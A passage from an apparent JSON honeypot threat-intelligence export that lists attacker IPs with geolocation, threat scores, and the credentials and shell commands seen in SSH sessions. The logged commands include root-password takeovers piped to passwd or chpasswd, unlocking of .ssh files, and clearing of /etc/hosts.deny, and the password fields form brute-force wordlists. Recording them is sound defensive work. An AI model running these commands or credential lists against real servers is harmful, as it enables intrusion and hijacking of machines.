        "first_seen_30d": "2026-05-21T18:02:43.701000+00:00",
        "last_seen_30d": "2026-05-21T19:08:59.581000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 65
      }
    },
    "27.19.25.199": {
      "attack_count": 308,
      "first_seen": "2026-05-22T20:50:12.209Z",
      "last_seen": "2026-05-23T07:52:06.671Z",
      "sessions": 154,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:50:12.209000+00:00",
        "last_seen_30d": "2026-05-23T07:53:16.539000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 308,
        "Suricata": 166
      }
    },
    "109.175.27.48": {
      "attack_count": 288,
      "first_seen": "2026-05-05T05:06:23.246Z",
      "last_seen": "2026-05-05T05:34:56.835Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "345gs5662d34",
        "root",
        "administrateur",
        "administrator",
        "ali",
        "appuser",
        "bitrix",
        "dbadmin",
        "etserver",
        "mc",
        "odoo",
        "odoo13",
        "server",
        "teamspeak",
        "test",
        "test123",
        "tester",
        "testing"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "asdfghjkl",
        "!@#QWE123qwe",
        "!QAZ@WSX#EDC",
        "0000",
        "1234",
        "12341234",
        "12345",
        "1234567890",
        "123bitrix",
        "1q2w3e",
        "9379992",
        "P@ssw0rd123",
        "Ubuntu1",
        "abc123456789",
        "admin.123",
        "deploy12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"9379992\\ne21hm90fveTG\\ne21hm90fveTG\\n\"|passwd",
        "echo \"deploy12345678\\nNSfkLZmh0BBI\\nNSfkLZmh0BBI\\n\"|passwd",
        "echo -e \"9379992\\ne21hm90fveTG\\ne21hm90fveTG\"|passwd|bash",
        "echo -e \"deploy12345678\\nNSfkLZmh0BBI\\nNSfkLZmh0BBI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": "Gra\u010danica",
      "asn": 9146,
      "as_org": "BH Telecom d.d. Sarajevo",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:06:23.246000+00:00",
        "last_seen_30d": "2026-05-05T05:36:02.821000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "14.224.213.222": {
      "attack_count": 236,
      "first_seen": "2026-05-18T12:53:14.454Z",
      "last_seen": "2026-05-18T13:11:51.205Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456qwe",
        "1905",
        "23wesdxc",
        "987654321",
        "A123456bc",
        "ZAQ!2wsx",
        "admin2000",
        "anaconda",
        "c8h10n4o2",
        "dinesh@123",
        "founder",
        "hallo",
        "hellonetwork",
        "jerome",
        "joey",
        "kran",
        "pakistan",
        "qwerty1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:dckJMd5rKECT\"|chpasswd|bash",
        "echo \"root:tPkxnQfXFQiQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:53:14.454000+00:00",
        "last_seen_30d": "2026-05-18T13:13:00.546000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 52
      }
    },
    "147.50.227.79": {
      "attack_count": 233,
      "first_seen": "2026-05-25T07:04:20.684Z",
      "last_seen": "2026-05-25T08:38:05.645Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "odoo17",
        "ubuntu",
        "admin",
        "curl",
        "jack",
        "james",
        "test1",
        "www"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "....",
        "0",
        "123456",
        "123456A!",
        "12345qwert",
        "1qaz@wsx",
        "Huawei@2021",
        "Lxj123456",
        "Mm123456",
        "P@ssw0rd",
        "Pass_123",
        "Wangsu@2017",
        "abc123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "james",
        "superman",
        "test1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"P@ssw0rd\\nGDKo7QX2Gv4E\\nGDKo7QX2Gv4E\\n\"|passwd",
        "echo \"Wangsu@2017\\nS7gXSuSP8BsO\\nS7gXSuSP8BsO\\n\"|passwd",
        "echo -e \"P@ssw0rd\\nGDKo7QX2Gv4E\\nGDKo7QX2Gv4E\"|passwd|bash",
        "echo -e \"Wangsu@2017\\nS7gXSuSP8BsO\\nS7gXSuSP8BsO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 9891,
      "as_org": "CS LOXINFO Public Company Limited.",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:04:20.684000+00:00",
        "last_seen_30d": "2026-05-25T08:39:06.764000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 63
      }
    },
    "122.191.215.162": {
      "attack_count": 228,
      "first_seen": "2026-05-22T20:34:34.596Z",
      "last_seen": "2026-05-23T07:46:26.453Z",
      "sessions": 114,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:34:34.596000+00:00",
        "last_seen_30d": "2026-05-23T07:47:34.098000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 228,
        "Suricata": 113
      }
    },
    "108.179.225.94": {
      "attack_count": 218,
      "first_seen": "2026-05-25T02:20:21.334Z",
      "last_seen": "2026-05-25T03:41:50.605Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "baidu",
        "cloud",
        "gitlab-runner",
        "ansible",
        "curl",
        "ftpuser",
        "leo",
        "minecraft",
        "sit",
        "steam",
        "ubuntu",
        "ymoreno"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "12345",
        "ABCabc123456",
        "P@ssw0rd",
        "Steam",
        "Wangsu@2017",
        "Welcome@2025!",
        "Xy123456@",
        "ansible",
        "apple",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "linux123!@#",
        "sit",
        "ubuntu@12345",
        "welltech12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nUlztZaAM8viw\\nUlztZaAM8viw\\n\"|passwd",
        "echo -e \"12345678\\nUlztZaAM8viw\\nUlztZaAM8viw\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 19871,
      "as_org": "Network Solutions, LLC",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 282,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T02:20:21.334000+00:00",
        "last_seen_30d": "2026-05-25T03:42:53.618000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 64
      }
    },
    "197.5.145.102": {
      "attack_count": 198,
      "first_seen": "2026-05-28T00:27:18.260Z",
      "last_seen": "2026-05-28T00:51:19.740Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gitlab-runner",
        "ymoreno",
        "admin",
        "ansible",
        "baidu",
        "ftpuser",
        "minecraft",
        "sit",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "Steam",
        "Welcome@2025!",
        "ansible",
        "apple",
        "fjbdfdjkdsfs541544",
        "linux123!@#",
        "sit"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nDWuzsq7JeNXS\\nDWuzsq7JeNXS\\n\"|passwd",
        "echo \"123456\\nm3OvwmhSRtMq\\nm3OvwmhSRtMq\\n\"|passwd",
        "echo -e \"12345678\\nDWuzsq7JeNXS\\nDWuzsq7JeNXS\"|passwd|bash",
        "echo -e \"123456\\nm3OvwmhSRtMq\\nm3OvwmhSRtMq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T00:27:18.260000+00:00",
        "last_seen_30d": "2026-05-28T00:52:23.060000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 32
      }
    },
    "102.88.137.213": {
      "attack_count": 193,
      "first_seen": "2026-05-14T17:13:40.423Z",
      "last_seen": "2026-05-14T17:55:36.690Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "...",
        "345gs5662d34",
        "ahsq",
        "linux",
        "pakchoi"
      ],
      "passwords_attempted": [
        "linux123",
        "1010",
        "111222333",
        "12341234",
        "135555",
        "3245gs5662d34",
        "345gs5662d34",
        "7758521",
        "Admin123!@#",
        "GiGaPenis1488!",
        "Kermit123@",
        "Manager@123",
        "blablabla",
        "blehbleh",
        "dingo",
        "dp@123",
        "fender",
        "forex123",
        "fwupgrade",
        "kritika"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:3Jgbdktxtldo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T17:13:40.423000+00:00",
        "last_seen_30d": "2026-05-14T17:56:39.168000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 62
      }
    },
    "116.208.14.97": {
      "attack_count": 176,
      "first_seen": "2026-05-19T07:04:18.319Z",
      "last_seen": "2026-05-19T17:54:18.394Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:04:18.319000+00:00",
        "last_seen_30d": "2026-05-19T17:55:25.768000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 176,
        "Suricata": 94
      }
    },
    "103.171.69.123": {
      "attack_count": 144,
      "first_seen": "2026-05-21T18:29:56.842Z",
      "last_seen": "2026-05-21T19:59:08.729Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chongqing",
        "bandwagon",
        "centos",
        "jd",
        "meng",
        "powerdns",
        "xia"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "88888888",
        "chongqing",
        "dota",
        "jd",
        "password",
        "pay",
        "powerdns",
        "rfvtgb",
        "s3rv3r",
        "xia",
        "zenless"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"chongqing\\n6AJxLrkRy6DP\\n6AJxLrkRy6DP\\n\"|passwd",
        "echo -e \"chongqing\\n6AJxLrkRy6DP\\n6AJxLrkRy6DP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:29:56.842000+00:00",
        "last_seen_30d": "2026-05-21T20:00:18.194000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 43
      }
    },
    "43.134.61.186": {
      "attack_count": 143,
      "first_seen": "2026-05-21T22:11:06.286Z",
      "last_seen": "2026-05-21T23:03:09.531Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alfred",
        "ben",
        "james",
        "lee",
        "smith",
        "test",
        "west"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "1qaz@WSX3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "999999999",
        "Lb123456",
        "P@$$w0rd@123",
        "Welcome01",
        "Wx123456",
        "alfred123",
        "khongaibiet",
        "q1w2e3",
        "smith",
        "test@123456",
        "west123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ACCzPpSN7YOc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:11:06.286000+00:00",
        "last_seen_30d": "2026-05-21T23:04:13.839000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "114.138.104.56": {
      "attack_count": 126,
      "first_seen": "2026-05-18T22:10:51.709Z",
      "last_seen": "2026-05-19T06:19:01.397Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:10:51.709000+00:00",
        "last_seen_30d": "2026-05-19T06:20:09.822000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 65
      }
    },
    "223.233.83.104": {
      "attack_count": 118,
      "first_seen": "2026-05-30T11:30:14.789Z",
      "last_seen": "2026-05-30T11:59:41.881Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "geonode",
        "openeuler",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@12345678",
        "Azertyuiop1",
        "Pass@1234",
        "Passw0rd",
        "geonode",
        "openeuler",
        "qwe123",
        "qwe12345",
        "sorry",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:7MywoK3kfl9y\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:30:14.789000+00:00",
        "last_seen_30d": "2026-05-30T12:00:42.517000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "68.235.57.43": {
      "attack_count": 102,
      "first_seen": "2026-05-05T00:40:23.741Z",
      "last_seen": "2026-05-31T20:58:55.871Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.7,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:40:23.741000+00:00",
        "last_seen_30d": "2026-05-31T20:59:59.014000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 50
      }
    },
    "35.190.195.60": {
      "attack_count": 73,
      "first_seen": "2026-05-26T03:04:50.193Z",
      "last_seen": "2026-05-26T03:05:43.238Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1211",
